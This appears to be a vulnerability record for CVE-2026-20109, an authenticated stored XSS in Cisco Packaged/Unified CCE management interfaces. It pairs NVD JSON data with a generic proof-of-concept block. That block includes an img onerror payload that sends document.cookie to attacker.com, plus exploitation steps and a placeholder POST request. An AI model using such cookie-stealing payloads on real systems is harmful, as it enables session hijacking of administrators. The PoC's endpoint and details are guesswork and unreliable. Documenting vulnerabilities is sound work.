CVE-2026-20109

// CVE-2026-20109 PoC - XSS in Cisco Packaged/Unified CCE Web Management Interface // Note: Requires valid administrator credentials // Example XSS payload for testing: const xssPayload = '<script>alert(document.cookie)</script>'; const xssPayload2 = '<img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>'; // Steps to exploit: // 1. Authenticate to the Cisco CCE Web Management Interface with admin credentials // 2. Navigate to vulnerable page (specific page needs enumeration) // 3. Inject XSS payload into input field that lacks proper sanitization // 4. Save the malicious input // 5. When another admin visits the affected page, the script executes // Example HTTP Request structure: /* POST /webui/vulnerable_endpoint HTTP/1.1 Host: cce-management-interface.example.com Cookie: JSESSIONID=admin_session_id Content-Type: application/x-www-form-urlencoded parameter_name=<script>alert(document.domain)</script>&submit=Save */ // Mitigation: Apply Cisco security patches and implement input validation

{"cve": {"id": "CVE-2026-20109", "sourceIdentifier": "[email protected]", "published": "2026-01-21T17:16:08.723", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Multiple vulnerabilities in the web-based management interface of Cisco Packaged Contact Center Enterprise (Packaged CCE) and Cisco Unified Contact Center Enterprise (Unified CCE) could allow an authenticated, remote attacker to conduct a cross-site scripting (XSS) attack against a user of the web-based management interface of an affected device.&nbsp;\r\n\r\nThese vulnerabilities exist because the web-based management interface does not properly validate user-supplied input. An attacker could exploit these vulnerabilities by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. To exploit these vulnerabilities, the attacker must have valid administrative credentials."}, {"lang": "es", "value": "Múltiples vulnerabilidades en la interfaz de gestión basada en web de Cisco Packaged Contact Center Enterprise (Packaged CCE) y Cisco Unified Contact Center Enterprise (Unified CCE) podrían permitir a un atacante remoto autenticado realizar un ataque de cross-site scripting (XSS) contra un usuario de la interfaz de gestión basada en web de un dispositivo afectado.\n\nEstas vulnerabilidades existen porque la interfaz de gestión basada en web no valida correctamente la entrada proporcionada por el usuario. Un atacante podría explotar estas vulnerabilidades inyectando código malicioso en páginas específicas de la interfaz. Un exploit exitoso podría permitir al atacante ejecutar código de script arbitrario en el contexto de la interfaz afectada o acceder a información sensible basada en el navegador. Para explotar estas vulnerabilidades, el atacante debe tener credenciales administrativas válidas."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ucce-pcce-xss-2JVyg3uD", "source": "[email protected]"}]}}